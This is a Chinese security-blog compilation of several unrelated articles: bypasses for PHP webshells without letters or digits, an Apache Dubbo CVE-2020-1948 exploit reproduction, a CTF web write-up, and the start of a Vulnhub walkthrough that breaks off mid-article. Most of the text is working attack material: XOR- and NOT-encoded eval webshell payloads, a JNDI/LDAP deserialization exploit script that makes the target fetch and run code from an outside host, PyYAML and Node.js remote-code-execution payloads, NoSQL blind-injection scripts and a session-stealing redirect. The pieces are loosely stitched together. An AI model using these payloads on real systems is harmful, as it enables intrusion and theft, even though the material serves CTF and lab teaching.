浅析CTF绕过字符数字构造shell
前言
在CTF中,虽然有很多文章有这方面的资料,但是相对来说比较零散,这里主要把自己学习和打ctf遇到的一些绕过字符数字构造shell梳理一下。
无字母数字webshell简单来说就是payload中不能出现字母,数字(有些题目还有其他一些过滤),通过异或取反等方法取得flag。
本文涉及知识点实操练习——https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014050616024000001 :通过本实操的练习,你能够学会使用简单的Webshell,了解到使用base64与deflate对字符串进行编码,对编码后的webshell进行解码。
测试源码
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}
//如果shell中不还有字母和数字,则可以执行eval语句
异或绕过
异或的符号是^,是一种运算符。
1 ^ 1 = 0
1 ^ 0 = 1
0 ^ 1 = 1
0 ^ 0 = 0
异或脚本
<?php
for($i=128;$i<255;$i++){
echo sprintf("%s^%s",urlencode(chr($i)),urlencode(chr(255)))."=>". (chr($i)^chr(255))."\n";
}
?>
运行该脚本我们知道
%81^%FF=>~ %82^%FF=>} %83^%FF=>|
%84^%FF=>{ %85^%FF=>z %86^%FF=>y
%87^%FF=>x %88^%FF=>w %89^%FF=>v
%8A^%FF=>u %8B^%FF=>t %8C^%FF=>s
%8D^%FF=>r %8E^%FF=>q %8F^%FF=>p
%90^%FF=>o %91^%FF=>n %92^%FF=>m
%93^%FF=>l %94^%FF=>k %95^%FF=>j
%96^%FF=>i %97^%FF=>h %98^%FF=>g
%99^%FF=>f %9A^%FF=>e %9B^%FF=>d
%9C^%FF=>c %9D^%FF=>b %9E^%FF=>a
%9F^%FF=>` %A0^%FF=>_ %A1^%FF=>^
%A2^%FF=>] %A3^%FF=>\ %A4^%FF=>[
%A5^%FF=>Z %A6^%FF=>Y %A7^%FF=>X
%A8^%FF=>W %A9^%FF=>V %AA^%FF=>U
%AB^%FF=>T %AC^%FF=>S %AD^%FF=>R
%AE^%FF=>Q %AF^%FF=>P %B0^%FF=>O
%B1^%FF=>N %B2^%FF=>M %B3^%FF=>L
%B4^%FF=>K %B5^%FF=>J %B6^%FF=>I
%B7^%FF=>H %B8^%FF=>G %B9^%FF=>F
%BA^%FF=>E %BB^%FF=>D %BC^%FF=>C
%BD^%FF=>B %BE^%FF=>A %BF^%FF=>@
%C0^%FF=>?
通过这种方法构造一个phpinfo()函数
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
//${_GET}{%ff}();&%ff=phpinfo
我们知道,经过一次get传参会进行一次URL解码,所以我们可以将字符先进行url编码再进行异或得到我们想要的字符。 %A0^%FF=>_
%B8^%FF=>G
%BA^%FF=>E
%AB^%FF=>T
<?php
$a = urldecode('%ff%ff%ff%ff');
$b = urldecode('%a0%b8%ba%ab');
echo $a^$b;
//输出_GET
取反绕过
取反的符号是~,也是一种运算符。在数值的二进制表示方式上,将0变为1,将1变为0。
直接看如何构造phpinfo()
(~%8F%97%8F%96%91%99%90)();
可以看出,自己对phpinfo取反,会产生一些不可见字符,可对phpinfo取反后再进行url编码。
取反脚本
<?php
$a = urlencode(~'phpinfo');
echo $a;
//%8F%97%8F%96%91%99%90
构造assert字符
第一种方法
%9E^%FF=>a
%8C^%FF=>s
%9A^%FF=>e
%8D^%FF=>r
%8B^%FF=>t
%A0^%FF=>_
%AF^%FF=>P
%B0^%FF=>O
%AC^%FF=>S
%AB^%FF=>T
$_="%9E%8C%8C%9A%8D%8B"^"%FF%FF%FF%FF%FF%FF";
$__="%A0%AF%B0%AC%AB"^"%FF%FF%FF%FF%FF";
$___=$__;
$_($___[_]);
第二种方法
脚本
<?php
$shell = "assert";
$result1 = "";
$result2 = "";
for($num=0;$num<=strlen($shell);$num++)
{
for($x=33;$x<126;$x++)
{
if(judge(chr($x)))
{
for($y=33;$y<=126;$y++)
{
if(judge(chr($y)))
{
$f = chr($x)^chr($y);
if($f == $shell[$num])
{
$result1 .= chr($x);
$result2 .= chr($y);
break 2;
}
}
}
}
}
}
echo $result1;
echo "<br>";
echo $result2;
function judge($c)
{
if(!preg_match('/[a-z0-9]/is',$c))
{
return true;
}
return false;
}
这个脚本可以将“assert”变成两个字符串异或的结果,通过更改shell的值可以构造出我们想要的字符串。为了便于表示,生成字符串的范围为33-126(可见字符)。
<?php
$_ = "!((%)("^"@[[@[\\"; //构造出assert
$__ = "!+/(("^"~{`{|"; //构造出_POST
$___ = $__; //$___ = $_POST
$_($___[_]); //assert($_POST[_]);
?shell=%24_+%3d+%22!((%25)(%22^%22%40[[%40[\\%22%3b%24__+%3d+%22!%2b%2f((%22^%22~{`{|%22%3b%24___+%3d+%24%24__%3b%24_(%24___[_])%3b
$_ = "!((%)("^"@[[@[\\";
$__ = "!+/(("^"~{`{|";
$___ = $__;
$_($___[_]);
%24%5f%3d%22%21%28%28%25%29%28%22%5e%22%40%5b%5b%40%5b%5c%5c%22%3b%24%5f%5f%3d%22%21%2b%2f%28%28%22%5e%22%7e%7b%60%7b%7c%22%3b%24%5f%5f%5f%3d%24%24%5f%5f%3b%24%5f%28%24%5f%5f%5f%5b%5f%5d%29%3b
第三种方法
<?php
$a = urlencode(~'assert');
echo $a;
//%9E%8C%8C%9A%8D%8B
$b = urlencode(~'_POST');
//%A0%AF%B0%AC%AB
<?php
$_ = ~"%9e%8c%8c%9a%8d%8b"; //得到assert,此时$_="assert"
$__ = ~"%a0%af%b0%ac%ab"; //得到_POST,此时$__="_POST"
$___ = $__; //$___=$_POST
$_($___[_]); //assert($_POST[_])
?shell=$_=~"%9e%8c%8c%9a%8d%8b";$__=~"%a0%af%b0%ac%ab";$___=$__;$_($___[_]);
PHP5和7的区别
PHP5中,assert()是一个函数,我们可以用_()这样的形式来执行代码。但在PHP7中,assert()变成了一个和eval()一样的语言结构,不再支持上面那种调用方法。但PHP7.0.12下还能这样调用。
PHP5
PHP 7.0.12
PHP7
PHP5中,是不支持($a)()这种调用方法的,但在PHP7中支持这种调用方法,因此支持这么写('phpinfo')();
PHP 5
PHP 7
过滤了_
?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>
分析下这个Payload,?>闭合了eval自带的<?标签。接下来使用了短标签。{}包含的PHP代码可以被执行,~"%a0%b8%ba%ab"为"_GET",通过反引号进行shell命令执行。最后我们只要GET传参%a0即可执行命令。
过滤了$
PHP7
在PHP7中,我们可以使用($a)()这种方法来执行命令。所以可以用取反构造payload执行命令。(~%8F%97%8F%96%91%99%90)();执行phpinfo函数,第一个括号中可以是任意的表达式。但是这里不能用assert()来执行函数,因为php7不支持assert()函数。
PHP5
在PHP5中不再支持(a)()方法来调用函数,在膜拜P神的[无字母数字webshell之提高篇](https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html?page=2#reply-list)后,有了新的启发。如何在无字母,数字,的系统命令下getshell?我们利用在Linux shell下两个知识点
1,shell下可以利用.来执行任意脚本
2,Linux文件名支持glob通配符代替
从图可以看出,我们可以成功用.+文件名来执行文件,但是当使用通配符来执行文件时,系统会执行匹配到的第一个文件。
在这两个条件下我们可以想到,如果我们可以上传一个文件,用.来执行这个文件就可以成功getshell。
那么我们怎么上传文件呢?上传文件成功后文件又保存在哪里?怎么匹配执行?
首先我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。
现在我们可以利用glob通配符匹配该文件,我们知道
*可以代替0个及以上任意文件
?可以代表1个任意字符
[^a]可以用来判断这个位置的字符是不是a
[0-9]可以用来限制范围
通过ascii码表我们知道,可见大写字母@与[之间,所以我们可以利用[@-[]来表示大写字母。
综上,我们可以利用. /???/????????[@-[]来匹配/tmp/phpXXXXXX
实战演练
<?php
if(isset($_GET['evil'])){
if(strlen($_GET['evil'])>25||preg_match("/[\w$=()<>'\"]/", $_GET['evil'])){
die("danger!!");
}
@eval($_GET['evil']);
}
highlight_file(__FILE__);
?>
通过编写脚本看看哪些可见字符没有被过滤
<?php
for ($ascii = 0; $ascii < 256; $ascii++) {
if (!preg_match("/[\w$=()<>'\"]/", chr($ascii))) {
echo (chr($ascii));
}
}
?>
可以发现过滤了字母,数字,`
{{title}}
,`_`,`()`等,但`和 . 还没有被过滤。由于过滤了()所以不论PHP版本是5或者7,都不能执行($a)(),所以就没有必要去判断PHP版本。由此可以想到上传一个小马文件,然后用 ` 来执行文件。
首先,我们应该上传写一个表单上传
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<form action="http://ip:*****/" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="提交">
</form>
</body>
</html>
提交一个1.txt的文件,这个文件会被保存在这个/tmp/phpXXXXXX临时文件夹下,我们执行这个临时文件夹就是执行1.txt文件里面的内容。
我们在把1.txt中写入ls,并把执行完1.txt文件返回的内容(即执行ls返回的内容)保存在var/www/html目录下的abc文件中
var/www/html是Apache的默认路径,我们也可以直接写ls />abc
接着在ip地址后添加/abc,可以看到成功返回执行1.txt后的内容。
直接cat flag
我们还可以上传一个小马文件get flag
例如我们创建一个hello.php的文件,文件内容为
echo "<?php eval(\$_POST['shell']);"
然后cat flag
Apache Dubbo反序列化漏洞
本文涉及知识点实操练习--https://www.yijinglab.com/expc.do?w=exp_ass&ec=ECID39ef-c0db-4835-b19f-62f9d8d70d55&pk_campaign=heetian-wemedia(通过该实验了解漏洞产生的原因,掌握基本的漏洞利用及使用方法,并能给出加固方案。)
简介
Dubbo是阿里巴巴公司开源的一个高性能优秀的服务框架,使得应用可通过高性能的RPC实现服务的输出和输入功能,可以和Spring框架无缝集成。它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。
概述
2020年06月23日, Apache Dubbo 官方发布了Apache Dubbo 远程代码执行的风险通告,该漏洞编号为CVE-2020-1948,漏洞等级:高危。
Apache Dubbo是一款高性能、轻量级的开源Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。
Apache Dubbo Provider存在反序列化漏洞,攻击者可以通过RPC请求发送无法识别的服务名称或方法名称以及一些恶意参数有效载荷,当恶意参数被反序列化时,可以造成远程代码执行。
影响版本
Dubbo 2.7.0 - 2.7.6
Dubbo 2.6.0 - 2.6.7
Dubbo 2.5.x (官方不再维护)
环境搭建
运行环境与编译exp环境jdk版本均为8u121,启动测试环境
java -jar dubbo.jar
启动后会监听12345端口
漏洞复现
服务指纹:
PORT STATE SERVICE VERSION
12345/tcp open textui Alibaba Dubbo remoting telnetd
构造poc,我们这里执行一个ping命令来验证是否可以执行命令,新建calc.java,
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class calc implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
Runtime.getRuntime().exec("ping test.sr3uwk.ceye.io");
return null;
}
}
编译poc
javac calc.java
将编译好的poc(calc.class)放到web网站目录里,确保漏洞主机可以访问到
使用marshalsec项目启动一个ldap代理服务,marshalsec下载:
https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar
启动LDAP代理服务,执行该命令ldap服务会监听8086端口
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://139.9.198.30/#calc 8086
执行测试脚本,此处测试使用python环境为3.8.0,先安装依赖包
python3 -m pip install dubbo-py
脚本内容(Dubbo.py):
# -*- coding: utf-8 -*-
import sys
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
if len(sys.argv) < 4:
print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))
print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))
sys.exit()
client = DubboClient(sys.argv[1], int(sys.argv[2]))
JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource=sys.argv[3],
strMatchColumns=["foo"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)
resp = client.send_request_and_return_response(
service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',
# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。
method_name='$invoke',
args=[toStringBean])
output = str(resp)
if 'Fail to decode request due to: RpcInvocation' in output:
print('[!] Target maybe not support deserialization.')
elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output:
print('[+] Succeed.')
else:
print('[!] Output:')
print(output)
print('[!] Target maybe not use dubbo-remoting library.')
执行脚本
python3 Dubbo.py 192.168.137.173 12345 ldap://139.9.198.30:8086/calc
dnslog查看,成功接收到请求
ldap服务也可以看到请求转发
弹计算器
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class calc implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
Runtime.getRuntime().exec("calc");
return null;
}
}
漏洞修复
升级 2.7.7 版本,并根据以下链接的方法进行参数校验
https://github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de
更换协议以及反序列化方式。具体更换方法可参考:
http://dubbo.apache.org/zh-cn/docs/user/references/xml/dubbo-protocol.html
参考
https://github.com/DSO-Lab/defvul/wiki/Apache-Dubbo-CVE_2020_1948-Deserialization-Vulnerability
2020-CSR-CTF-Web-复盘以及分析
本文涉及知识点实操练习--https://www.yijinglab.com/pages/CTFLaboratory.jsp?pk_campaign=heetian-wemedia
0x01 前言
2020 年 10 月 31 日万圣节举办的德国比赛,界面很有特色,web 题目质量很高,队伍只出了三道,结束后通通复盘了一遍深入理解。题目从易到难一共有十道,其中九道有出,本篇只详细分析解数多的五道,其余四道比赛时只有个位数 solve ,打算后续专门写四篇结合相应漏洞讲述。
本篇相关亮点:
● Python yaml 反序列化
● Node.JS RCE
● NoSQL 盲注
0x02 题解
Cyberwall
开胃小菜。
网页源码有密码可登入。
路由 debug 命令注入。
127.0.0.1|ls
127.0.0.1|cat super_secret_data.txt
Wheels n Whales
给了源码
web.py
import yaml
from flask import redirect, Flask, render_template, request, abort
from flask import url_for, send_from_directory, make_response, Response
import flag
app = Flask(__name__)
EASTER_WHALE = {"name": "TheBestWhaleIsAWhaleEveryOneLikes", "image_num": 2, "weight": 34}
@app.route("/")
def index():
return render_template("index.html.jinja", active="home")
class Whale:
def __init__(self, name, image_num, weight):
self.name = name
self.image_num = image_num
self.weight = weight
def dump(self):
return yaml.dump(self.__dict__)
@app.route("/whale", methods=["GET", "POST"])
def whale():
if request.method == "POST":
name = request.form["name"]
# 长度限制 10
if len(name) > 10:
return make_response("Name to long. Whales can only understand names up to 10 chars", 400)
image_num = request.form["image_num"]
weight = request.form["weight"]
whale = Whale(name, image_num, weight)
# getflag 注意这里
if whale.__dict__ == EASTER_WHALE:
return make_response(flag.get_flag(), 200)
return make_response(render_template("whale.html.jinja", w=whale, active="whale"), 200)
return make_response(render_template("whale_builder.html.jinja", active="whale"), 200)
class Wheel:
def __init__(self, name, image_num, diameter):
self.name = name
self.image_num = image_num
self.diameter = diameter
@staticmethod
def from_configuration(config):
return Wheel(**yaml.load(config, Loader=yaml.Loader))
def dump(self):
return yaml.dump(self.__dict__)
@app.route("/wheel", methods=["GET", "POST"])
def wheel():
if request.method == "POST":
if "config" in request.form:
wheel = Wheel.from_configuration(request.form["config"])
return make_response(render_template("wheel.html.jinja", w=wheel, active="wheel"), 200)
name = request.form["name"]
image_num = request.form["image_num"]
diameter = request.form["diameter"]
wheel = Wheel(name, image_num, diameter)
print(wheel.dump())
return make_response(render_template("wheel.html.jinja", w=wheel, active="wheel"), 200)
return make_response(render_template("wheel_builder.html.jinja", active="wheel"), 200)
if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000)
flask 框架,yaml 序列化。
整体逻辑很简单,wheel 和 whale 两个类,whale 需要我们创建属性值与 EASTER_WHALE 相同的类对象,但 name 属性明显过不了 if ,长度限制 10 。
wheel 就没有这么多限制,而且我们注意到,除了用构造函数创建 wheel 实例外,还有这段:
class Wheel:
...
@staticmethod
def from_configuration(config):
return Wheel(**yaml.load(config, Loader=yaml.Loader))
def dump(self):
return yaml.dump(self.__dict__)
@app.route("/wheel", methods=["GET", "POST"])
def wheel():
if request.method == "POST":
if "config" in request.form:
wheel = Wheel.from_configuration(request.form["config"])
return make_response(render_template("wheel.html.jinja", w=wheel, active="wheel"), 200)
我们结合 Pyyaml 官方文档 来理解一下上述代码做了什么,有何利用点:
yaml.dump(data, Dumper=Dumper)
yaml.dump 函数接受一个 Python 对象并生成一个 YAML 文档。
yaml.load(stream, Loader=Loader)
yaml.load 函数将 YAML 文档转换为 Python 对象,返回一个 Python 对象。
yaml.load 接受一个字节字符串、一个 Unicode 字符串、一个打开的二进制文件对象或一个打开的文本文件对象。字节字符串或文件必须使用 utf-8、 utf-16-be 或 utf-16-le 编码进行编码。yaml.load 通过检查字符串/文件开头的 BOM (字节顺序标记) 序列来检测编码。如果没有提供 BOM,则假定采用 utf-8编码。
>>> yaml.load(u"""
... hello: Привет!
... """) # In Python 3, do not use the 'u' prefix
{'hello': u'\u041f\u0440\u0438\u0432\u0435\u0442!'}
>>> stream = file('document.yaml', 'r') # 'document.yaml' contains a single YAML document.
>>> yaml.load(stream)
[...] # A Python object corresponding to the document.
对于这个函数,官方也有警告:
用从不可信来源接收的任何数据调用 yaml.load 是不安全的!yaml.load 和 pickle.load 一样强大,因此可以调用任何 Python 函数。
既然 yaml.load 可以调用任何 Python 函数,那我们可以不用想办法创建 whale 去使之与 EASTER_WHALE 相等,直接 flag.get_flag() 即可。
结合题目代码:
@staticmethod
def from_configuration(config):
return Wheel(**yaml.load(config, Loader=yaml.Loader))
这里的 yaml.load 从 config 中读取 yaml 文件创建 wheel 对象,加上 Loader=yaml.Loader 只是为了避免警告。
而 config 则是来自我们 post 的表单数据:
if request.method == "POST":
if "config" in request.form:
wheel = Wheel.from_configuration(request.form["config"])
到这里思路就很明晰了,我们从路由 wheel post config 对象,config 的 name 用我们精心构造的可以 flag.get_flag() 的语句,其他参数因为是数字类型所以随便写即可。
我们先要想办法序列化一个对象传入 yaml.load ,而对应官方文档有:
!!python/object:module.Class { attribute: value, ... }
任何可选对象都可以使用 !!python/object 进行序列化。
为了支持 pickle 协议,还提供了两种额外形式。
!!python/object/new:module.Class [argument, ...]
!!python/object/apply:module.function [argument, ...]
>>> class Hero:
... def __init__(self, name, hp, sp):
... self.name = name
... self.hp = hp
... self.sp = sp
... def __repr__(self):
... return "%s(name=%r, hp=%r, sp=%r)" % (
... self.__class__.__name__, self.name, self.hp, self.sp)
>>> yaml.load("""
... !!python/object:__main__.Hero
... name: Welthyr Syxgon
... hp: 1200
... sp: 0
... """)
Hero(name='Welthyr Syxgon', hp=1200, sp=0)
如上例,Hero 类有三个属性 name、hp、sp ,我们可以通过 !!python/object 利用 yaml.load 成功序列化出来。
所以我们可以构造 payload 如下:
config={name: !!python/object/apply:flag.get_flag [], image_num: 3, diameter: 3}
CSRegex
页面是正则表达式测试工具。
nodejs 笔者没有相关开发经验,写的可能有所欠缺,所以下文仅作为参考。
我们应首先判断这个网站是用什么写的,当然 ctf 首先想到的是 node ,这种类似的题在 picoCTF见过,这里摆出来只是为了介绍一下,判断 node 简便的方法有两种:
■ 当访问一个不存在的路径时,会得到 node 错误 “ Can not GET/whatever” ,响应头部有 X-Powered-By: Express ( Express 框架开发)
■ 利用 Wappalyzer 之类的插件了解网站所用技术
但明显不能用到这里:
作为第二种方式的代替,我比赛时找到了 https://builtwith.com/
发现了 underscore.js ,nodejs 库。
同时 国外师傅 是利用 fetch 是否定义来判断该网站是运行在 node 上还是浏览器上的:
"fetch is not defined" -- we are running on node and not a web browser
通过观察 JavaScript Code ,我们可以先闭合掉前面的正则表达式,试着拼接一些命令来获取更多信息,最后再注释掉:
// test
\w/gi);let a=10;return a;/
------
'123'.match(/\w/gi);let a=10;return a;//gi)
------
{ "result": 10 }
既然有了 RCE ,我们先来考虑读系统文件该怎么构造 payload ,node 有 fs 模块用于对系统文件及目录进行读写操作,需要用 require('fs') 来载入,但上下文里不一定有 require ,require 并不是可以全局访问的。
见 官方文档 和 示例 :
require()
This variable may appear to be global but is not. See require().
(function(){Function('console.log(require("fs").readFileSync("/etc/passwd"))')()})()
//ReferenceError: require is not defined
这题就没有,而 process.mainModule 属性提供了一种获取 require.main 的替代方式,换言之,我们可以通过 process.mainModule.require('fs') 来载入,然后通过 fs.readdirSync(path[, options]) 同步返回一个包含“指定目录下所有文件名称”的数组对象。
// test
\w/gi);
let files = [];
const fs = process.mainModule.require('fs');
fs.readdirSync(".").forEach(file => files.push(file) );
return files;/
------
'123'.match(/\w/gi);let files = []; const fs = process.mainModule.require('fs');fs.readdirSync(".").forEach(file => files.push(file) );return files;//gi)
------
{ "result": [ ".dockerignore", "api.js", "csregex", "dist", "dockerfile", "index.js", "leftover.js", "node_modules", "package-lock.json", "package.json", "regexer.js", "requests.log", "simple-fs.js" ] }
成功,那么接下来只要读取这些文件,结果在 dockerfile 中:
// test
\w/gi);
const fs = process.mainModule.require('fs');
const data = fs.readFileSync('dockerfile', 'utf8');
return data;/
------
'123'.match(/\w/gi); const fs = process.mainModule.require('fs'); const data = fs.readFileSync('dockerfile', 'utf8'); return data;//gi)
当然也可以直接 cat 读取文件:
先给出拼接后的 JavaScript Code :
''+constructor.constructor("return process")().mainModule.require("child_process").execSync('cat * | grep CSR')+' \n'.match(/\w/gi)
同上,只不过是选择先闭合了要匹配的字符串,获得全局上下文后直接导入 child_process 来执行系统命令。
payload( exp 学习自 CVE-2019-10758 PoC):
'+this.constructor.constructor("return process")().mainModule.require("child_process").execSync('cat * | grep CSR')+'
imghost
文件上传。
PHP,dirsearch 扫目录有:
得到 file.php 源码:
<?php
session_start();
$filename = substr($_SERVER["DOCUMENT_URI"], 3);
if(!file_exists("/dev/shm/uploads/" . $filename) || strlen($filename) > 24) die("<h1>404 File not found</h1>");
if($_GET["report"] == "1") {
if(!file_exists("/dev/shm/reports")) mkdir("/dev/shm/reports");
if(!file_exists("/dev/shm/reports/" . $filename)) {
file_put_contents("/dev/shm/reports/" . $filename, "");
}
die("File has been reported, thanks for your help!");
}
header("Content-Security-Policy: script-src 'none';");
echo '<object border="2px" data="/uploads/' . $filename . '?lang=en&ref=website&pd=' . md5(session_id()) . '&u=' . uniqid() . '&client=' . session_id() . '&method=direct&t=' . time() . '"></object>';
echo '<br/><a href="?report=1">Report abuse</a>';
?>
这里需要注意的是 HTTP 头信息的 Content-Security-Policy ,简称 CSP ,通常是用来防 XSS 的,提供了很多限制选项,这里的 script-src 限制外部脚本的加载,选项值是 'none' 禁止加载任何外部资源,所以基本不可能 RCE 。
结合题名,我们可以尝试去获取管理员的 session id 。
当我们上传一个图片后,点击,~/i/encrypted_filename.png 会去请求:
~/uploads/FHYVFZAsWZukicREmqTS.png?lang=en&ref=website&pd=387a36e941f19635f8f898f8e2af0dd2&u=5fa8e6669c74b&client=hluad03qhmob6onl376hlnad5h&method=direct&t=1604904550
用以校验身份,而访问图片成功后,有 Report abuse ,点击 referer 同样是来自 ~/i/encrypted_filename.png ,结合源码,File Report 后,会在 /dev/shm/reports/ 目录下生成一个对应的文件,可以合理猜测,管理员进行访问时也会有来自 ~/i/encrypted_filename.png 的请求用来校验身份。
综上,我们可以利用上传的图片重定向到我们的服务器用来获取 session id 。
<img src="https://server.com/exp.php">
exp.php
<?php
$d = json_encode($_SERVER);
$filename = __DIR__ . "/data.txt";
file_put_contents($filename, $d);
?>
然后我们可以从本地 data.txt 得到 session id ,替换后再次访问可以从 flag.txt 得到 flag 。
本地测试了下,data.txt 读取到 $_SERVER 的内容:
Secure Secret Sharing
源码
var express = require('express');
var path = require('path');
var bodyParser = require('body-parser')
var fs = require('fs');
const {SHA256} = require("sha2");
var app = express();
app.use(bodyParser.urlencoded({extended: false}));
var MongoClient = require('mongodb').MongoClient;
const mongo_url = 'mongodb://localmongo';
const db_name = 'secrets';
const db_client = new MongoClient(mongo_url);
db_client.connect(function(err) {
db = db_client.db(db_name);
collection = db.collection("secrets")
app.listen(8080);
});
app.get('/', function(request, response) {
response.sendFile(path.join(__dirname + '/html/index.html'));
});
// 插入数据
app.post('/secret_share', function(request, response) {
let sec = request.body.sec;
//sha256 散列,十六进制输出
let secid = SHA256(sec).toString("hex");
//无 csr 的情况插入
if (sec.toLowerCase().includes("csr")) {
response.redirect('/');
} else {
collection.insertOne({id: secid, secret: sec});
response.redirect('/secret_share?secid=' + secid);
}
});
//通过 secid 进行检索
app.get('/secret_share', function(request, response) {
var secid = request.query.secid;
var sec = collection.findOne({id: secid});
sec.then(sec => {
fs.readFile(__dirname +'/html/secret.html', {encoding: 'utf-8'}, (err, data) => {
try {
response.send(data.replace("$secret", sec["secret"]));
response.end();
} catch(e){
console.log("Error: " + e);
response.status(404);
response.send("id does not exist.");
response.end();
}
});
}, error => {
console.log(error);
});
});
app.get('/source', function(request, response) {
fs.readFile(__filename, {encoding: 'utf-8'}, (err, data) => {
response.type("text/plain");
response.send(data);
response.end();
});
});
ExpressJS MongoDB
因为国内文章关于 MongoDB 注入的比较少且发布时间早,所以我近期写了一篇文章在博客进行介绍,不了解的朋友可以先去看看:mongodb 注入初识
var sec = collection.findOne({id: secid});
由上,注入点可以确定为 secid 。
用 $ne 进行测试一下:
//test
?secid[$ne]=0
MySuperSecurePW123
因为这里是 findOne() 只能返回第一条文档记录,而且最重要的一点,secid 是 sha256 加密过的,哈希值之间的差异非常大,我们不能凭 flag 的格式获取到前几位,所以我们改用 $regex 进行类似盲注的测试:
//test
?secid[$regex]=^0
princess
//princess -> 04e77bf8f95cb3e1a36a59d1e93857c411930db646b46c218a0352e432023cf2
这样是可行的,我们可以利用 $regex 位位遍历 0~f ,总能找到一个内容含 CSR 的 secret ,所以我手工测试了下,发现最好的情况是前四位就可以区分不同的哈希(开始有了 id does not exist. 的回显)。
这里“盲注”不像 SQL 里面可以用二分法,要位位遍历,所以效率非常低。
用四循环遍历当然太慢了,而且出现连续三位相同的概率几乎为 0 ,我们调换一下顺序,并且用 . 代替一位,这里因为只返回第一条文档,所以我们可以挨个试位置,所幸替换第一位就出了结果:
import requests
import re
class Outloop(Exception):
pass
try:
for i in "0123456789abcdef":
for j in "123456789abcdef0":
for k in "23456789abcdef01":
url = "http://chal.cybersecurityrumble.de:37585/secret_share?secid[$regex]=^.{}{}{}%22.format(i, j, k)
print("[i] Still looking for: "+i+j+k)
response = requests.request("GET", url)
if "CSR" in response.text:
print("[+] Flag: CSR"+re.search(r"CSR(.*)}",response.text)[1]+"}")
raise Outloop()
except Outloop:
pass
发 200+ 次请求得到了 flag 。
国外师傅有给出优化版本的,是把哈希值视为了树结构,从根节点开始(设置 0~f 中的任意值),先判断其是否有子节点,如果有,是否有多个,优化规则如下:
如果一个节点只有一个子节点,我们假设它只会产生一个散列,因此我们不会遍历子节点的路径。
也就是假设 payload 为 ?secid[$regex]=^73 没有子节点,那么当然我们遍历第三层时,就不会再去遍历 730,731,...,73f 等;而如果 78c 有一个子节点 78c1 ,也认为其只会产生一个散列 78c1 ,如图(图源自国外师傅 wp):
可以想到,我们上面写的脚本其实是所有节点不管有没有子节点都去遍历了一遍,所以非常耗时间。
#!/usr/bin/env
import requests as req
import time
import re
import queue
import hashlib
URL = "http://chal.cybersecurityrumble.de:37585/secret_share?secid[$regex]=^"
# 查找 flag 的正则表达式
regex = r"-->(.*)<!--"
deadStarts = []
chars = "0123456789abcdef"
# 如果父节点有多个子节点
def parentHasMoreThanOneChildren(hash):
l = len(hash) - 1
if l < 0:
return True
url = URL + hash[:l] + '[^' + hash[l] + ']'
r = req.get( url )
if r.status_code == 404:
return False
return True
# 是否有子节点
def hasChild(hash):
url = URL + hash
r = req.get( url )
if r.status_code == 404:
return False
return True
# 获取 secret
def getSecret(hash):
url = URL + hash
r = req.get( url )
return re.search(regex, r.text)[1]
# 访问子节点判断是否有 flag
def visitChild(hash):
print(hash, end=' ')
if not parentHasMoreThanOneChildren(hash):
secret = getSecret(hash)
print( secret )
if "csr" in secret.lower():
exit()
return
print('')
for c in chars:
if hasChild( hash + c ):
visitChild( hash +c )
# 这里设置的根节点为 6
visitChild( '6' )
实际上确实是很快。
0x03 后记
这次比赛打完复盘收获不少,相比于一些比赛总是模改题还是非常不错的,也感觉到自己开发经验欠缺,比如 node 只在原型链污染有接触过一点点,但却没有深入,还是要继续努力。
Vulnhub靶机实战之HA: Forensics
本文涉及知识点实操练习--https://www.yijinglab.com/expc.do?ec=ECIDb885-0a46-4953-8c62-d915348eae0f&pk_campaign=heetian-wemedia(靶机共有5个flag,通过信息收集、找漏洞、提权去获得最终/root下的flag。)
描述:这是一个中等难度的取证挑战环境,通过网络取证调查方法和工具,找到关键证据获取flag。
目标:获得4个flag
靶机下载地址:https://www.vulnhub.com/entry/ha-forensics,570/
0x1 基本信息收集
确定目标主机IP
使用nmap 扫描
排除网络内其他的ip,10.1.1.152就是目标机器
使用nmap扫描主机更加详细的信息
可以把扫描处理的信息记录下来
目标开放的端口:22、80端口,服务有:ssh服务和http服务。
0x2、收集网站信息
浏览目标网站看看可以获取哪些信息
网页上有四张图,还有一些描述文字。点击"Click here to get flag!" 试试
有一张gif图片。可以把网站的图片收集 一下,放到一个文件夹。既然是取证,不要放过任何蛛丝马迹
